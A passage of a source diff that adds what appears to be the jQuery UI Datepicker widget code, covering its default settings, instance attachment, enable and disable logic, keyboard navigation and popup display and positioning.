+   allowing multiple different settings on the same page. */
+
+function Datepicker() {
+	this._curInst = null; // The current instance in use
+	this._keyEvent = false; // If the last event was a key event
+	this._disabledInputs = []; // List of date picker inputs that have been disabled
+	this._datepickerShowing = false; // True if the popup picker is showing , false if not
+	this._inDialog = false; // True if showing within a "dialog", false if not
+	this._mainDivId = "ui-datepicker-div"; // The ID of the main datepicker division
+	this._inlineClass = "ui-datepicker-inline"; // The name of the inline marker class
+	this._appendClass = "ui-datepicker-append"; // The name of the append marker class
+	this._triggerClass = "ui-datepicker-trigger"; // The name of the trigger marker class
+	this._dialogClass = "ui-datepicker-dialog"; // The name of the dialog marker class
+	this._disableClass = "ui-datepicker-disabled"; // The name of the disabled covering marker class
+	this._unselectableClass = "ui-datepicker-unselectable"; // The name of the unselectable cell marker class
+	this._currentClass = "ui-datepicker-current-day"; // The name of the current day marker class
+	this._dayOverClass = "ui-datepicker-days-cell-over"; // The name of the day hover marker class
+	this.regional = []; // Available regional settings, indexed by language code
+	this.regional[ "" ] = { // Default regional settings
+		closeText: "Done", // Display text for close link
+		prevText: "Prev", // Display text for previous month link
+		nextText: "Next", // Display text for next month link
+		currentText: "Today", // Display text for current month link
+		monthNames: [ "January","February","March","April","May","June",
+			"July","August","September","October","November","December" ], // Names of months for drop-down and formatting
+		monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" ], // For formatting
+		dayNames: [ "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ], // For formatting
+		dayNamesShort: [ "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ], // For formatting
+		dayNamesMin: [ "Su","Mo","Tu","We","Th","Fr","Sa" ], // Column headings for days starting at Sunday
+		weekHeader: "Wk", // Column header for week of the year
+		dateFormat: "mm/dd/yy", // See format options on parseDate
+		firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ...
+		isRTL: false, // True if right-to-left language, false if left-to-right
+		showMonthAfterYear: false, // True if the year select precedes month, false for month then year
+		yearSuffix: "" // Additional text to append to the year in the month headers
+	};
+	this._defaults = { // Global defaults for all the date picker instances
+		showOn: "focus", // "focus" for popup on focus,
+			// "button" for trigger button, or "both" for either
+		showAnim: "fadeIn", // Name of jQuery animation for popup
+		showOptions: {}, // Options for enhanced animations
+		defaultDate: null, // Used when field is blank: actual date,
+			// +/-number for offset from today, null for today
+		appendText: "", // Display text following the input box, e.g. showing the format
+		buttonText: "...", // Text for trigger button
+		buttonImage: "", // URL for trigger button image
+		buttonImageOnly: false, // True if the image appears alone, false if it appears on a button
+		hideIfNoPrevNext: false, // True to hide next/previous month links
+			// if not applicable, false to just disable them
+		navigationAsDateFormat: false, // True if date formatting applied to prev/today/next links
+		gotoCurrent: false, // True if today link goes back to current selection instead
+		changeMonth: false, // True if month can be selected directly, false if only prev/next
+		changeYear: false, // True if year can be selected directly, false if only prev/next
+		yearRange: "c-10:c+10", // Range of years to display in drop-down,
+			// either relative to today's year (-nn:+nn), relative to currently displayed year
+			// (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above (nnnn:-n)
+		showOtherMonths: false, // True to show dates in other months, false to leave blank
+		selectOtherMonths: false, // True to allow selection of dates in other months, false for unselectable
+		showWeek: false, // True to show week of the year, false to not show it
+		calculateWeek: this.iso8601Week, // How to calculate the week of the year,
+			// takes a Date and returns the number of the week for it
+		shortYearCutoff: "+10", // Short year values < this are in the current century,
+			// > this are in the previous century,
+			// string value starting with "+" for current year + value
+		minDate: null, // The earliest selectable date, or null for no limit
+		maxDate: null, // The latest selectable date, or null for no limit
+		duration: "fast", // Duration of display/closure
+		beforeShowDay: null, // Function that takes a date and returns an array with
+			// [0] = true if selectable, false if not, [1] = custom CSS class name(s) or "",
+			// [2] = cell title (optional), e.g. $.datepicker.noWeekends
+		beforeShow: null, // Function that takes an input field and
+			// returns a set of custom settings for the date picker
+		onSelect: null, // Define a callback function when a date is selected
+		onChangeMonthYear: null, // Define a callback function when the month or year is changed
+		onClose: null, // Define a callback function when the datepicker is closed
+		numberOfMonths: 1, // Number of months to show at a time
+		showCurrentAtPos: 0, // The position in multipe months at which to show the current month (starting at 0)
+		stepMonths: 1, // Number of months to step back/forward
+		stepBigMonths: 12, // Number of months to step back/forward for the big links
+		altField: "", // Selector for an alternate field to store selected dates into
+		altFormat: "", // The date format to use for the alternate field
+		constrainInput: true, // The input is constrained by the current date format
+		showButtonPanel: false, // True to show button panel, false to not show it
+		autoSize: false, // True to size the input for the date format, false to leave as is
+		disabled: false // The initial disabled state
+	};
+	$.extend( this._defaults, this.regional[ "" ] );
+	this.regional.en = $.extend( true, {}, this.regional[ "" ] );
+	this.regional[ "en-US" ] = $.extend( true, {}, this.regional.en );
+	this.dpDiv = datepicker_bindHover( $( "<div id='" + this._mainDivId + "' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>" ) );
+}
+
+$.extend( Datepicker.prototype, {
+	/* Class name added to elements to indicate already configured with a date picker. */
+	markerClassName: "hasDatepicker",
+
+	//Keep track of the maximum number of rows displayed (see #7043)
+	maxRows: 4,
+
+	// TODO rename to "widget" when switching to widget factory
+	_widgetDatepicker: function() {
+		return this.dpDiv;
+	},
+
+	/* Override the default settings for all instances of the date picker.
+	 * @param  settings  object - the new settings to use as defaults (anonymous object)
+	 * @return the manager object
+	 */
+	setDefaults: function( settings ) {
+		datepicker_extendRemove( this._defaults, settings || {} );
+		return this;
+	},
+
+	/* Attach the date picker to a jQuery selection.
+	 * @param  target	element - the target input field or division or span
+	 * @param  settings  object - the new settings to use for this date picker instance (anonymous)
+	 */
+	_attachDatepicker: function( target, settings ) {
+		var nodeName, inline, inst;
+		nodeName = target.nodeName.toLowerCase();
+		inline = ( nodeName === "div" || nodeName === "span" );
+		if ( !target.id ) {
+			this.uuid += 1;
+			target.id = "dp" + this.uuid;
+		}
+		inst = this._newInst( $( target ), inline );
+		inst.settings = $.extend( {}, settings || {} );
+		if ( nodeName === "input" ) {
+			this._connectDatepicker( target, inst );
+		} else if ( inline ) {
+			this._inlineDatepicker( target, inst );
+		}
+	},
+
+	/* Create a new instance object. */
+	_newInst: function( target, inline ) {
+		var id = target[ 0 ].id.replace( /([^A-Za-z0-9_\-])/g, "\\\\$1" ); // escape jQuery meta chars
+		return { id: id, input: target, // associated target
+			selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection
+			drawMonth: 0, drawYear: 0, // month being drawn
+			inline: inline, // is datepicker inline or not
+			dpDiv: ( !inline ? this.dpDiv : // presentation div
+			datepicker_bindHover( $( "<div class='" + this._inlineClass + " ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>" ) ) ) };
+	},
+
+	/* Attach the date picker to an input field. */
+	_connectDatepicker: function( target, inst ) {
+		var input = $( target );
+		inst.append = $( [] );
+		inst.trigger = $( [] );
+		if ( input.hasClass( this.markerClassName ) ) {
+			return;
+		}
+		this._attachments( input, inst );
+		input.addClass( this.markerClassName ).on( "keydown", this._doKeyDown ).
+			on( "keypress", this._doKeyPress ).on( "keyup", this._doKeyUp );
+		this._autoSize( inst );
+		$.data( target, "datepicker", inst );
+
+		//If disabled option is true, disable the datepicker once it has been attached to the input (see ticket #5665)
+		if ( inst.settings.disabled ) {
+			this._disableDatepicker( target );
+		}
+	},
+
+	/* Make attachments based on settings. */
+	_attachments: function( input, inst ) {
+		var showOn, buttonText, buttonImage,
+			appendText = this._get( inst, "appendText" ),
+			isRTL = this._get( inst, "isRTL" );
+
+		if ( inst.append ) {
+			inst.append.remove();
+		}
+		if ( appendText ) {
+			inst.append = $( "<span class='" + this._appendClass + "'>" + appendText + "</span>" );
+			input[ isRTL ? "before" : "after" ]( inst.append );
+		}
+
+		input.off( "focus", this._showDatepicker );
+
+		if ( inst.trigger ) {
+			inst.trigger.remove();
+		}
+
+		showOn = this._get( inst, "showOn" );
+		if ( showOn === "focus" || showOn === "both" ) { // pop-up date picker when in the marked field
+			input.on( "focus", this._showDatepicker );
+		}
+		if ( showOn === "button" || showOn === "both" ) { // pop-up date picker when button clicked
+			buttonText = this._get( inst, "buttonText" );
+			buttonImage = this._get( inst, "buttonImage" );
+			inst.trigger = $( this._get( inst, "buttonImageOnly" ) ?
+				$( "<img/>" ).addClass( this._triggerClass ).
+					attr( { src: buttonImage, alt: buttonText, title: buttonText } ) :
+				$( "<button type='button'></button>" ).addClass( this._triggerClass ).
+					html( !buttonImage ? buttonText : $( "<img/>" ).attr(
+					{ src:buttonImage, alt:buttonText, title:buttonText } ) ) );
+			input[ isRTL ? "before" : "after" ]( inst.trigger );
+			inst.trigger.on( "click", function() {
+				if ( $.datepicker._datepickerShowing && $.datepicker._lastInput === input[ 0 ] ) {
+					$.datepicker._hideDatepicker();
+				} else if ( $.datepicker._datepickerShowing && $.datepicker._lastInput !== input[ 0 ] ) {
+					$.datepicker._hideDatepicker();
+					$.datepicker._showDatepicker( input[ 0 ] );
+				} else {
+					$.datepicker._showDatepicker( input[ 0 ] );
+				}
+				return false;
+			} );
+		}
+	},
+
+	/* Apply the maximum length for the date format. */
+	_autoSize: function( inst ) {
+		if ( this._get( inst, "autoSize" ) && !inst.inline ) {
+			var findMax, max, maxI, i,
+				date = new Date( 2009, 12 - 1, 20 ), // Ensure double digits
+				dateFormat = this._get( inst, "dateFormat" );
+
+			if ( dateFormat.match( /[DM]/ ) ) {
+				findMax = function( names ) {
+					max = 0;
+					maxI = 0;
+					for ( i = 0; i < names.length; i++ ) {
+						if ( names[ i ].length > max ) {
+							max = names[ i ].length;
+							maxI = i;
+						}
+					}
+					return maxI;
+				};
+				date.setMonth( findMax( this._get( inst, ( dateFormat.match( /MM/ ) ?
+					"monthNames" : "monthNamesShort" ) ) ) );
+				date.setDate( findMax( this._get( inst, ( dateFormat.match( /DD/ ) ?
+					"dayNames" : "dayNamesShort" ) ) ) + 20 - date.getDay() );
+			}
+			inst.input.attr( "size", this._formatDate( inst, date ).length );
+		}
+	},
+
+	/* Attach an inline date picker to a div. */
+	_inlineDatepicker: function( target, inst ) {
+		var divSpan = $( target );
+		if ( divSpan.hasClass( this.markerClassName ) ) {
+			return;
+		}
+		divSpan.addClass( this.markerClassName ).append( inst.dpDiv );
+		$.data( target, "datepicker", inst );
+		this._setDate( inst, this._getDefaultDate( inst ), true );
+		this._updateDatepicker( inst );
+		this._updateAlternate( inst );
+
+		//If disabled option is true, disable the datepicker before showing it (see ticket #5665)
+		if ( inst.settings.disabled ) {
+			this._disableDatepicker( target );
+		}
+
+		// Set display:block in place of inst.dpDiv.show() which won't work on disconnected elements
+		// http://bugs.jqueryui.com/ticket/7552 - A Datepicker created on a detached div has zero height
+		inst.dpDiv.css( "display", "block" );
+	},
+
+	/* Pop-up the date picker in a "dialog" box.
+	 * @param  input element - ignored
+	 * @param  date	string or Date - the initial date to display
+	 * @param  onSelect  function - the function to call when a date is selected
+	 * @param  settings  object - update the dialog date picker instance's settings (anonymous object)
+	 * @param  pos int[2] - coordinates for the dialog's position within the screen or
+	 *					event - with x/y coordinates or
+	 *					leave empty for default (screen centre)
+	 * @return the manager object
+	 */
+	_dialogDatepicker: function( input, date, onSelect, settings, pos ) {
+		var id, browserWidth, browserHeight, scrollX, scrollY,
+			inst = this._dialogInst; // internal instance
+
+		if ( !inst ) {
+			this.uuid += 1;
+			id = "dp" + this.uuid;
+			this._dialogInput = $( "<input type='text' id='" + id +
+				"' style='position: absolute; top: -100px; width: 0px;'/>" );
+			this._dialogInput.on( "keydown", this._doKeyDown );
+			$( "body" ).append( this._dialogInput );
+			inst = this._dialogInst = this._newInst( this._dialogInput, false );
+			inst.settings = {};
+			$.data( this._dialogInput[ 0 ], "datepicker", inst );
+		}
+		datepicker_extendRemove( inst.settings, settings || {} );
+		date = ( date && date.constructor === Date ? this._formatDate( inst, date ) : date );
+		this._dialogInput.val( date );
+
+		this._pos = ( pos ? ( pos.length ? pos : [ pos.pageX, pos.pageY ] ) : null );
+		if ( !this._pos ) {
+			browserWidth = document.documentElement.clientWidth;
+			browserHeight = document.documentElement.clientHeight;
+			scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;
+			scrollY = document.documentElement.scrollTop || document.body.scrollTop;
+			this._pos = // should use actual width/height below
+				[ ( browserWidth / 2 ) - 100 + scrollX, ( browserHeight / 2 ) - 150 + scrollY ];
+		}
+
+		// Move input on screen for focus, but hidden behind dialog
+		this._dialogInput.css( "left", ( this._pos[ 0 ] + 20 ) + "px" ).css( "top", this._pos[ 1 ] + "px" );
+		inst.settings.onSelect = onSelect;
+		this._inDialog = true;
+		this.dpDiv.addClass( this._dialogClass );
+		this._showDatepicker( this._dialogInput[ 0 ] );
+		if ( $.blockUI ) {
+			$.blockUI( this.dpDiv );
+		}
+		$.data( this._dialogInput[ 0 ], "datepicker", inst );
+		return this;
+	},
+
+	/* Detach a datepicker from its control.
+	 * @param  target	element - the target input field or division or span
+	 */
+	_destroyDatepicker: function( target ) {
+		var nodeName,
+			$target = $( target ),
+			inst = $.data( target, "datepicker" );
+
+		if ( !$target.hasClass( this.markerClassName ) ) {
+			return;
+		}
+
+		nodeName = target.nodeName.toLowerCase();
+		$.removeData( target, "datepicker" );
+		if ( nodeName === "input" ) {
+			inst.append.remove();
+			inst.trigger.remove();
+			$target.removeClass( this.markerClassName ).
+				off( "focus", this._showDatepicker ).
+				off( "keydown", this._doKeyDown ).
+				off( "keypress", this._doKeyPress ).
+				off( "keyup", this._doKeyUp );
+		} else if ( nodeName === "div" || nodeName === "span" ) {
+			$target.removeClass( this.markerClassName ).empty();
+		}
+
+		if ( datepicker_instActive === inst ) {
+			datepicker_instActive = null;
+		}
+	},
+
+	/* Enable the date picker to a jQuery selection.
+	 * @param  target	element - the target input field or division or span
+	 */
+	_enableDatepicker: function( target ) {
+		var nodeName, inline,
+			$target = $( target ),
+			inst = $.data( target, "datepicker" );
+
+		if ( !$target.hasClass( this.markerClassName ) ) {
+			return;
+		}
+
+		nodeName = target.nodeName.toLowerCase();
+		if ( nodeName === "input" ) {
+			target.disabled = false;
+			inst.trigger.filter( "button" ).
+				each( function() { this.disabled = false; } ).end().
+				filter( "img" ).css( { opacity: "1.0", cursor: "" } );
+		} else if ( nodeName === "div" || nodeName === "span" ) {
+			inline = $target.children( "." + this._inlineClass );
+			inline.children().removeClass( "ui-state-disabled" );
+			inline.find( "select.ui-datepicker-month, select.ui-datepicker-year" ).
+				prop( "disabled", false );
+		}
+		this._disabledInputs = $.map( this._disabledInputs,
+			function( value ) { return ( value === target ? null : value ); } ); // delete entry
+	},
+
+	/* Disable the date picker to a jQuery selection.
+	 * @param  target	element - the target input field or division or span
+	 */
+	_disableDatepicker: function( target ) {
+		var nodeName, inline,
+			$target = $( target ),
+			inst = $.data( target, "datepicker" );
+
+		if ( !$target.hasClass( this.markerClassName ) ) {
+			return;
+		}
+
+		nodeName = target.nodeName.toLowerCase();
+		if ( nodeName === "input" ) {
+			target.disabled = true;
+			inst.trigger.filter( "button" ).
+				each( function() { this.disabled = true; } ).end().
+				filter( "img" ).css( { opacity: "0.5", cursor: "default" } );
+		} else if ( nodeName === "div" || nodeName === "span" ) {
+			inline = $target.children( "." + this._inlineClass );
+			inline.children().addClass( "ui-state-disabled" );
+			inline.find( "select.ui-datepicker-month, select.ui-datepicker-year" ).
+				prop( "disabled", true );
+		}
+		this._disabledInputs = $.map( this._disabledInputs,
+			function( value ) { return ( value === target ? null : value ); } ); // delete entry
+		this._disabledInputs[ this._disabledInputs.length ] = target;
+	},
+
+	/* Is the first field in a jQuery collection disabled as a datepicker?
+	 * @param  target	element - the target input field or division or span
+	 * @return boolean - true if disabled, false if enabled
+	 */
+	_isDisabledDatepicker: function( target ) {
+		if ( !target ) {
+			return false;
+		}
+		for ( var i = 0; i < this._disabledInputs.length; i++ ) {
+			if ( this._disabledInputs[ i ] === target ) {
+				return true;
+			}
+		}
+		return false;
+	},
+
+	/* Retrieve the instance data for the target control.
+	 * @param  target  element - the target input field or division or span
+	 * @return  object - the associated instance data
+	 * @throws  error if a jQuery problem getting data
+	 */
+	_getInst: function( target ) {
+		try {
+			return $.data( target, "datepicker" );
+		}
+		catch ( err ) {
+			throw "Missing instance data for this datepicker";
+		}
+	},
+
+	/* Update or retrieve the settings for a date picker attached to an input field or division.
+	 * @param  target  element - the target input field or division or span
+	 * @param  name	object - the new settings to update or
+	 *				string - the name of the setting to change or retrieve,
+	 *				when retrieving also "all" for all instance settings or
+	 *				"defaults" for all global defaults
+	 * @param  value   any - the new value for the setting
+	 *				(omit if above is an object or to retrieve a value)
+	 */
+	_optionDatepicker: function( target, name, value ) {
+		var settings, date, minDate, maxDate,
+			inst = this._getInst( target );
+
+		if ( arguments.length === 2 && typeof name === "string" ) {
+			return ( name === "defaults" ? $.extend( {}, $.datepicker._defaults ) :
+				( inst ? ( name === "all" ? $.extend( {}, inst.settings ) :
+				this._get( inst, name ) ) : null ) );
+		}
+
+		settings = name || {};
+		if ( typeof name === "string" ) {
+			settings = {};
+			settings[ name ] = value;
+		}
+
+		if ( inst ) {
+			if ( this._curInst === inst ) {
+				this._hideDatepicker();
+			}
+
+			date = this._getDateDatepicker( target, true );
+			minDate = this._getMinMaxDate( inst, "min" );
+			maxDate = this._getMinMaxDate( inst, "max" );
+			datepicker_extendRemove( inst.settings, settings );
+
+			// reformat the old minDate/maxDate values if dateFormat changes and a new minDate/maxDate isn't provided
+			if ( minDate !== null && settings.dateFormat !== undefined && settings.minDate === undefined ) {
+				inst.settings.minDate = this._formatDate( inst, minDate );
+			}
+			if ( maxDate !== null && settings.dateFormat !== undefined && settings.maxDate === undefined ) {
+				inst.settings.maxDate = this._formatDate( inst, maxDate );
+			}
+			if ( "disabled" in settings ) {
+				if ( settings.disabled ) {
+					this._disableDatepicker( target );
+				} else {
+					this._enableDatepicker( target );
+				}
+			}
+			this._attachments( $( target ), inst );
+			this._autoSize( inst );
+			this._setDate( inst, date );
+			this._updateAlternate( inst );
+			this._updateDatepicker( inst );
+		}
+	},
+
+	// Change method deprecated
+	_changeDatepicker: function( target, name, value ) {
+		this._optionDatepicker( target, name, value );
+	},
+
+	/* Redraw the date picker attached to an input field or division.
+	 * @param  target  element - the target input field or division or span
+	 */
+	_refreshDatepicker: function( target ) {
+		var inst = this._getInst( target );
+		if ( inst ) {
+			this._updateDatepicker( inst );
+		}
+	},
+
+	/* Set the dates for a jQuery selection.
+	 * @param  target element - the target input field or division or span
+	 * @param  date	Date - the new date
+	 */
+	_setDateDatepicker: function( target, date ) {
+		var inst = this._getInst( target );
+		if ( inst ) {
+			this._setDate( inst, date );
+			this._updateDatepicker( inst );
+			this._updateAlternate( inst );
+		}
+	},
+
+	/* Get the date(s) for the first entry in a jQuery selection.
+	 * @param  target element - the target input field or division or span
+	 * @param  noDefault boolean - true if no default date is to be used
+	 * @return Date - the current date
+	 */
+	_getDateDatepicker: function( target, noDefault ) {
+		var inst = this._getInst( target );
+		if ( inst && !inst.inline ) {
+			this._setDateFromField( inst, noDefault );
+		}
+		return ( inst ? this._getDate( inst ) : null );
+	},
+
+	/* Handle keystrokes. */
+	_doKeyDown: function( event ) {
+		var onSelect, dateStr, sel,
+			inst = $.datepicker._getInst( event.target ),
+			handled = true,
+			isRTL = inst.dpDiv.is( ".ui-datepicker-rtl" );
+
+		inst._keyEvent = true;
+		if ( $.datepicker._datepickerShowing ) {
+			switch ( event.keyCode ) {
+				case 9: $.datepicker._hideDatepicker();
+						handled = false;
+						break; // hide on tab out
+				case 13: sel = $( "td." + $.datepicker._dayOverClass + ":not(." +
+									$.datepicker._currentClass + ")", inst.dpDiv );
+						if ( sel[ 0 ] ) {
+							$.datepicker._selectDay( event.target, inst.selectedMonth, inst.selectedYear, sel[ 0 ] );
+						}
+
+						onSelect = $.datepicker._get( inst, "onSelect" );
+						if ( onSelect ) {
+							dateStr = $.datepicker._formatDate( inst );
+
+							// Trigger custom callback
+							onSelect.apply( ( inst.input ? inst.input[ 0 ] : null ), [ dateStr, inst ] );
+						} else {
+							$.datepicker._hideDatepicker();
+						}
+
+						return false; // don't submit the form
+				case 27: $.datepicker._hideDatepicker();
+						break; // hide on escape
+				case 33: $.datepicker._adjustDate( event.target, ( event.ctrlKey ?
+							-$.datepicker._get( inst, "stepBigMonths" ) :
+							-$.datepicker._get( inst, "stepMonths" ) ), "M" );
+						break; // previous month/year on page up/+ ctrl
+				case 34: $.datepicker._adjustDate( event.target, ( event.ctrlKey ?
+							+$.datepicker._get( inst, "stepBigMonths" ) :
+							+$.datepicker._get( inst, "stepMonths" ) ), "M" );
+						break; // next month/year on page down/+ ctrl
+				case 35: if ( event.ctrlKey || event.metaKey ) {
+							$.datepicker._clearDate( event.target );
+						}
+						handled = event.ctrlKey || event.metaKey;
+						break; // clear on ctrl or command +end
+				case 36: if ( event.ctrlKey || event.metaKey ) {
+							$.datepicker._gotoToday( event.target );
+						}
+						handled = event.ctrlKey || event.metaKey;
+						break; // current on ctrl or command +home
+				case 37: if ( event.ctrlKey || event.metaKey ) {
+							$.datepicker._adjustDate( event.target, ( isRTL ? +1 : -1 ), "D" );
+						}
+						handled = event.ctrlKey || event.metaKey;
+
+						// -1 day on ctrl or command +left
+						if ( event.originalEvent.altKey ) {
+							$.datepicker._adjustDate( event.target, ( event.ctrlKey ?
+								-$.datepicker._get( inst, "stepBigMonths" ) :
+								-$.datepicker._get( inst, "stepMonths" ) ), "M" );
+						}
+
+						// next month/year on alt +left on Mac
+						break;
+				case 38: if ( event.ctrlKey || event.metaKey ) {
+							$.datepicker._adjustDate( event.target, -7, "D" );
+						}
+						handled = event.ctrlKey || event.metaKey;
+						break; // -1 week on ctrl or command +up
+				case 39: if ( event.ctrlKey || event.metaKey ) {
+							$.datepicker._adjustDate( event.target, ( isRTL ? -1 : +1 ), "D" );
+						}
+						handled = event.ctrlKey || event.metaKey;
+
+						// +1 day on ctrl or command +right
+						if ( event.originalEvent.altKey ) {
+							$.datepicker._adjustDate( event.target, ( event.ctrlKey ?
+								+$.datepicker._get( inst, "stepBigMonths" ) :
+								+$.datepicker._get( inst, "stepMonths" ) ), "M" );
+						}
+
+						// next month/year on alt +right
+						break;
+				case 40: if ( event.ctrlKey || event.metaKey ) {
+							$.datepicker._adjustDate( event.target, +7, "D" );
+						}
+						handled = event.ctrlKey || event.metaKey;
+						break; // +1 week on ctrl or command +down
+				default: handled = false;
+			}
+		} else if ( event.keyCode === 36 && event.ctrlKey ) { // display the date picker on ctrl+home
+			$.datepicker._showDatepicker( this );
+		} else {
+			handled = false;
+		}
+
+		if ( handled ) {
+			event.preventDefault();
+			event.stopPropagation();
+		}
+	},
+
+	/* Filter entered characters - based on date format. */
+	_doKeyPress: function( event ) {
+		var chars, chr,
+			inst = $.datepicker._getInst( event.target );
+
+		if ( $.datepicker._get( inst, "constrainInput" ) ) {
+			chars = $.datepicker._possibleChars( $.datepicker._get( inst, "dateFormat" ) );
+			chr = String.fromCharCode( event.charCode == null ? event.keyCode : event.charCode );
+			return event.ctrlKey || event.metaKey || ( chr < " " || !chars || chars.indexOf( chr ) > -1 );
+		}
+	},
+
+	/* Synchronise manual entry and field/alternate field. */
+	_doKeyUp: function( event ) {
+		var date,
+			inst = $.datepicker._getInst( event.target );
+
+		if ( inst.input.val() !== inst.lastVal ) {
+			try {
+				date = $.datepicker.parseDate( $.datepicker._get( inst, "dateFormat" ),
+					( inst.input ? inst.input.val() : null ),
+					$.datepicker._getFormatConfig( inst ) );
+
+				if ( date ) { // only if valid
+					$.datepicker._setDateFromField( inst );
+					$.datepicker._updateAlternate( inst );
+					$.datepicker._updateDatepicker( inst );
+				}
+			}
+			catch ( err ) {
+			}
+		}
+		return true;
+	},
+
+	/* Pop-up the date picker for a given input field.
+	 * If false returned from beforeShow event handler do not show.
+	 * @param  input  element - the input field attached to the date picker or
+	 *					event - if triggered by focus
+	 */
+	_showDatepicker: function( input ) {
+		input = input.target || input;
+		if ( input.nodeName.toLowerCase() !== "input" ) { // find from button/image trigger
+			input = $( "input", input.parentNode )[ 0 ];
+		}
+
+		if ( $.datepicker._isDisabledDatepicker( input ) || $.datepicker._lastInput === input ) { // already here
+			return;
+		}
+
+		var inst, beforeShow, beforeShowSettings, isFixed,
+			offset, showAnim, duration;
+
+		inst = $.datepicker._getInst( input );
+		if ( $.datepicker._curInst && $.datepicker._curInst !== inst ) {
+			$.datepicker._curInst.dpDiv.stop( true, true );
+			if ( inst && $.datepicker._datepickerShowing ) {
+				$.datepicker._hideDatepicker( $.datepicker._curInst.input[ 0 ] );
+			}
+		}
+
+		beforeShow = $.datepicker._get( inst, "beforeShow" );
+		beforeShowSettings = beforeShow ? beforeShow.apply( input, [ input, inst ] ) : {};
+		if ( beforeShowSettings === false ) {
+			return;
+		}
+		datepicker_extendRemove( inst.settings, beforeShowSettings );
+
+		inst.lastVal = null;
+		$.datepicker._lastInput = input;
+		$.datepicker._setDateFromField( inst );
+
+		if ( $.datepicker._inDialog ) { // hide cursor
+			input.value = "";
+		}
+		if ( !$.datepicker._pos ) { // position below input
+			$.datepicker._pos = $.datepicker._findPos( input );
+			$.datepicker._pos[ 1 ] += input.offsetHeight; // add the height
+		}
+
+		isFixed = false;
+		$( input ).parents().each( function() {
+			isFixed |= $( this ).css( "position" ) === "fixed";
+			return !isFixed;
+		} );
+
+		offset = { left: $.datepicker._pos[ 0 ], top: $.datepicker._pos[ 1 ] };
+		$.datepicker._pos = null;
+
+		//to avoid flashes on Firefox
+		inst.dpDiv.empty();
+
+		// determine sizing offscreen
+		inst.dpDiv.css( { position: "absolute", display: "block", top: "-1000px" } );
+		$.datepicker._updateDatepicker( inst );
+
+		// fix width for dynamic number of date pickers
+		// and adjust position before showing
+		offset = $.datepicker._checkOffset( inst, offset, isFixed );
+		inst.dpDiv.css( { position: ( $.datepicker._inDialog && $.blockUI ?
+			"static" : ( isFixed ? "fixed" : "absolute" ) ), display: "none",
+			left: offset.left + "px", top: offset.top + "px" } );
+
+		if ( !inst.inline ) {
+			showAnim = $.datepicker._get( inst, "showAnim" );
+			duration = $.datepicker._get( inst, "duration" );
+			inst.dpDiv.css( "z-index", datepicker_getZindex( $( input ) ) + 1 );
+			$.datepicker._datepickerShowing = true;
+
+			if ( $.effects && $.effects.effect[ showAnim ] ) {
+				inst.dpDiv.show( showAnim, $.datepicker._get( inst, "showOptions" ), duration );
+			} else {
+				inst.dpDiv[ showAnim || "show" ]( showAnim ? duration : null );
+			}
+
+			if ( $.datepicker._shouldFocusInput( inst ) ) {
+				inst.input.trigger( "focus" );
+			}
+
+			$.datepicker._curInst = inst;
+		}
+	},
+
+	/* Generate the date picker content. */
+	_updateDatepicker: function( inst ) {
+		this.maxRows = 4; //Reset the max number of rows being displayed (see #7043)
+		datepicker_instActive = inst; // for delegate hover events
+		inst.dpDiv.empty().append( this._generateHTML( inst ) );
+		this._attachHandlers( inst );
+
+		var origyearshtml,
+			numMonths = this._getNumberOfMonths( inst ),
+			cols = numMonths[ 1 ],
+			width = 17,
+			activeCell = inst.dpDiv.find( "." + this._dayOverClass + " a" );
+
+		if ( activeCell.length > 0 ) {
+			datepicker_handleMouseover.apply( activeCell.get( 0 ) );
+		}
+
+		inst.dpDiv.removeClass( "ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4" ).width( "" );
+		if ( cols > 1 ) {
+			inst.dpDiv.addClass( "ui-datepicker-multi-" + cols ).css( "width", ( width * cols ) + "em" );
+		}
+		inst.dpDiv[ ( numMonths[ 0 ] !== 1 || numMonths[ 1 ] !== 1 ? "add" : "remove" ) +
+			"Class" ]( "ui-datepicker-multi" );
+		inst.dpDiv[ ( this._get( inst, "isRTL" ) ? "add" : "remove" ) +
+			"Class" ]( "ui-datepicker-rtl" );
+
+		if ( inst === $.datepicker._curInst && $.datepicker._datepickerShowing && $.datepicker._shouldFocusInput( inst ) ) {
+			inst.input.trigger( "focus" );
+		}
+
+		// Deffered render of the years select (to avoid flashes on Firefox)
+		if ( inst.yearshtml ) {
+			origyearshtml = inst.yearshtml;
+			setTimeout( function() {
+
+				//assure that inst.yearshtml didn't change.
+				if ( origyearshtml === inst.yearshtml && inst.yearshtml ) {
+					inst.dpDiv.find( "select.ui-datepicker-year:first" ).replaceWith( inst.yearshtml );
+				}
+				origyearshtml = inst.yearshtml = null;
+			}, 0 );
+		}
+	},
+
+	// #6694 - don't focus the input if it's already focused
+	// this breaks the change event in IE
+	// Support: IE and jQuery <1.9
+	_shouldFocusInput: function( inst ) {
+		return inst.input && inst.input.is( ":visible" ) && !inst.input.is( ":disabled" ) && !inst.input.is( ":focus" );
+	},
+
+	/* Check positioning to remain on screen. */
+	_checkOffset: function( inst, offset, isFixed ) {
+		var dpWidth = inst.dpDiv.outerWidth(),
+			dpHeight = inst.dpDiv.outerHeight(),
+			inputWidth = inst.input ? inst.input.outerWidth() : 0,
+			inputHeight = inst.input ? inst.input.outerHeight() : 0,
+			viewWidth = document.documentElement.clientWidth + ( isFixed ? 0 : $( document ).scrollLeft() ),
+			viewHeight = document.documentElement.clientHeight + ( isFixed ? 0 : $( document ).scrollTop() );
+
+		offset.left -= ( this._get( inst, "isRTL" ) ? ( dpWidth - inputWidth ) : 0 );
+		offset.left -= ( isFixed && offset.left === inst.input.offset().left ) ? $( document ).scrollLeft() : 0;
+		offset.top -= ( isFixed && offset.top === ( inst.input.offset().top + inputHeight ) ) ? $( document ).scrollTop() : 0;
+
+		// Now check if datepicker is showing outside window viewport - move to a better place if so.
+		offset.left -= Math.min( offset.left, ( offset.left + dpWidth > viewWidth && viewWidth > dpWidth ) ?
+			Math.abs( offset.left + dpWidth - viewWidth ) : 0 );
